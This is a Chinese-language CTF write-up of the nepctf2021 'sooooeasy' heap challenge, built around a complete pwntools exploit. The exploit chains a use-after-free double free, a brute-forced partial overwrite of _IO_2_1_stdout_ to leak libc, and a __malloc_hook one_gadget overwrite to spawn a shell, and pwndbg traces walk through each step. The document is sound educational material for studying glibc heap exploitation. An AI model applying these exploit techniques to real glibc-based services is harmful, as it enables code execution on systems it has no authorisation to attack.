0%

_IO_2_1_stdout_ leak+Double free

nepctf2021 sooooeasy 复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  [/home/ywhkkx/桌面] ./sooooeasy 
NN NN EEEEEEEE PPPPPP
NNNN NN EE PP PP
NN NN NN EEEEEEE PPPPPP
NN NN NN EE PP
NN NNNN EE PP
NN NNN EEEEEEEE PP

PLEASE SIGN IN:


1. Add
2. Delete
3. Exit
Your choice :

标准堆模板(看上去没有“打印模块”和“修改模块”)

1
2
3
4
5
6
7
8
sooooeasy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=01a6d58e17059a67f6576746d73859db1943e557, stripped

[*] '/home/ywhkkx/桌面/sooooeasy'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
if ( !chunk_num )
return puts("Null!");
puts("mumber's index:");
_isoc99_scanf("%d", &index);
if ( index <= 0x13 && chunk_list[index] )
{
*(_DWORD *)chunk_list[index] = 0; // 置空inuse,释放name
free(*(void **)(chunk_list[index] + 8LL)); // UAF
return puts("Deleted!");
}
else
{
puts("index error!");
return 0;
}
}

明显的UAF

heap结构

本题目有以下结构体:

1
2
3
4
5
struct chunk_block{
unsigned int inuse;
unsigned int *name;
char message[24];
};

具体存储结构如下:

1
2
3
add(0x20,'1111','aaaa')
add(0x20,'2222','bbbb')
add(0x20,'3333','cccc')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/20xg 0x5638534cc000
0x5638534cc000: 0x0000000000000000 0x0000000000000031 // chunk_block1
0x5638534cc010: 0x0000000000000001 0x00005638534cc040 // addr of name1
0x5638534cc020: 0x0000000061616161 0x0000000000000000
0x5638534cc030: 0x0000000000000000 0x0000000000000031 // name1
0x5638534cc040: 0x0000000a31313131 0x0000000000000000
0x5638534cc050: 0x0000000000000000 0x0000000000000000
0x5638534cc060: 0x0000000000000000 0x0000000000000031 // chunk_block2
0x5638534cc070: 0x0000000000000001 0x00005638534cc0a0 // addr of name2
0x5638534cc080: 0x0000000062626262 0x0000000000000000
0x5638534cc090: 0x0000000000000000 0x0000000000000031 // name2
0x5638534cc0a0: 0x0000000a32323232 0x0000000000000000
0x5638534cc0b0: 0x0000000000000000 0x0000000000000000
0x5638534cc0c0: 0x0000000000000000 0x0000000000000031 // chunk_block2
0x5638534cc0d0: 0x0000000000000001 0x00005638534cc100 // addr of name2
0x5638534cc0e0: 0x0000000063636363 0x0000000000000000
0x5638534cc0f0: 0x0000000000000000 0x0000000000000031 // name2
0x5638534cc100: 0x0000000a33333333 0x0000000000000000
0x5638534cc110: 0x0000000000000000 0x0000000000000000
0x5638534cc120: 0x0000000000000000 0x0000000000020ee1

入侵思路

本题的完全没法泄露信息,看来我的独立解题就到此为止了,接下来学习大佬的操作

​ // 如果可以 leak 出 libc_base,就可以打 Double free

大佬的exp:(大佬显然想打爆破,学习了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
#context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=0.5)

libc=ELF('./libc-2.23.so')

def add(name_size,name='a',message='b'):
p.sendlineafter('choice : ','1')
p.sendlineafter('your name: \n',str(name_size))
p.sendafter('Your name:\n',name)
p.sendlineafter('Your message:\n',message)
def delete(idx):
p.sendlineafter('choice : ','2')
p.sendlineafter('index:',str(idx))
def pr(a,addr):
log.success(a+'===>'+hex(addr))

def pwn():
# over the “_IO_2_1_stdout - 0x43” (1/16)
add(0x60) # chunk0
add(0x90) # chunk1
add(0x60) # chunk2
delete(1)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)))

# Double free to leak libc_base
delete(0)
delete(2)
delete(0)
add(0x60,'\x00')
add(0x60)
add(0x60)
add(0x60)
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
libc_realloc = libcbase + libc.sym['__libc_realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']
one = libcbase + [0x45226,0x4527a,0xf0364,0xf1207][1]
pr('libcbase',libcbase)
pr('malloc_hook',malloc_hook)
pr('one',one)

# Double free + fastbin attack to get shell
delete(0)
delete(2)
delete(0)
add(0x60,p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60,'a'*11+p64(one)+p64(libc_realloc+13))
p.sendlineafter('choice : ','1')

p.interactive()
while True:
try:
global p
p = process('./sooooeasy')
pwn()
break

except:
p.close()
print 'trying...'

接下来就来分析大佬的exp:

1
2
3
4
5
6
7
# over the “_IO_2_1_stdout - 0x43” (1/16)
add(0x60) # chunk0
add(0x90) # chunk1
add(0x60) # chunk2
delete(1)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_'] # 覆写末尾3字节
add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) # chunk1_new

delete(1) 执行后:

1
2
3
4
5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x558b8a0970d0
Size: 0xa1
fd: 0x7f8d183d8b78
bk: 0x7f8d183d8b78

add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) 执行后:

1
2
3
4
5
6
7
8
9
Allocated chunk | PREV_INUSE
Addr: 0x558b8a0970d0 // chunk_block1_new
Size: 0x31

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x558b8a097100 // chunk_block1_new->name
Size: 0x71
fd: 0x7f8d183d8b78 // 将会被覆写3字节(GDB似乎搞错了断点的位置,很奇怪)
bk: 0x7f8d183d8b78
1
2
3
4
5
pwndbg> telescope 0x558b8a097100 // 把断点打在后面,GDB才执行了这一步
00:00000x558b8a097100 ◂— 0x0
01:00080x558b8a097108 ◂— 0x21 /* '!' */
02:00100x558b8a097110 ◂— 0x7f8d183d0a30 // 成功覆盖
03:00180x558b8a097118 —▸ 0x7f8d183d8b78 (main_arena+88) —▸ 0x558b8a097210 ◂— 0x0

​ // GDB有时不能正确执行我们需要的指令,这里需要注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   # Double free to leak libc_base
delete(0)
delete(2)
delete(0)
add(0x60,'\x00')
add(0x60)
add(0x60)
add(0x60)
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
libc_realloc = libcbase + libc.sym['__libc_realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']
one = libcbase + [0x45226,0x4527a,0xf0364,0xf1207][1]
pr('libcbase',libcbase)
pr('malloc_hook',malloc_hook)
pr('one',one)

Double free 完成后:

1
0x70: 0x564859f8a030 —▸ 0x564859f8a1a0 ◂— 0x564859f8a030
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> telescope 0x564859f8a030 // chunk_block0->name
00:00000x564859f8a030 ◂— 0x0
01:00080x564859f8a038 ◂— 0x71 /* 'q' */
02:00100x564859f8a040 —▸ 0x564859f8a1a0 ◂— 0x0
03:00180x564859f8a048 ◂— 0x0
... ↓ 4 skipped
pwndbg> telescope 0x564859f8a1a0 // chunk_block2->name
00:00000x564859f8a1a0 ◂— 0x0
01:00080x564859f8a1a8 ◂— 0x71 /* 'q' */
02:00100x564859f8a1b0 —▸ 0x564859f8a030 ◂— 0x0
03:00180x564859f8a1b8 ◂— 0x0
... ↓ 4 skipped

接下来在申请了“chunk_block0->name”后,就可以在里面写写数据,从而改变“chunk_block2->name”的地址:(这里写入了“\x00”)

1
0x70: 0x5602a27a71a0 —▸ 0x5602a27a7030 —▸ 0x5602a27a7100 ◂— 0x7f1f0a9d25dd
1
2
3
4
5
6
pwndbg> telescope 0x5602a27a7100
00:00000x5602a27a7100 ◂— 0x0
01:00080x5602a27a7108 ◂— 0x71 /* 'q' */
02:00100x5602a27a7110 ◂— 0x7f1f0a9d25dd
03:00180x5602a27a7118 —▸ 0x7f1f0a9ddb78 (main_arena+88) —▸ 0x5602a27a7240 ◂— 0x0
04:00200x5602a27a7120 ◂— 0x0

接下来一直申请,就可以劫持到 _IO_2_1_stdout_s ,篡改 _IO_2_1_stdout 的 flags 为 “0x0FBAD1887” ,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base_IO_write_ptr 之间的数据,而这之间就有 libc 的指针

1
2
3
4
5
6
7
8
9
   # Double free + fastbin attack to get shell
delete(0)
delete(2)
delete(0)
add(0x60,p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60,'a'*11+p64(one)+p64(libc_realloc+13))
p.sendlineafter('choice : ','1')

这次直接覆盖“malloc_hook-0x23”,下一次可以申请到“malloc_hook-0x23”


小结:

本题目的难点就在于没有打印模块,需要利用 _IO_2_1_stdout_ 的机制(这也是我第一次遇到通过 _IO_2_1_stdout_ 来打印信息的题目,以后学一学),抛开这一点不谈,本题目还开放了一下我的“脑洞”:

  • 覆盖“main_arena+88”低地址来爆破“libc库函数”的操作(有House Of Roman的味道)
  • 利用 Double free 间接插入“不确定地址”的操作(改变FD指向)
  • 还有一种快速获取目标低地址的操作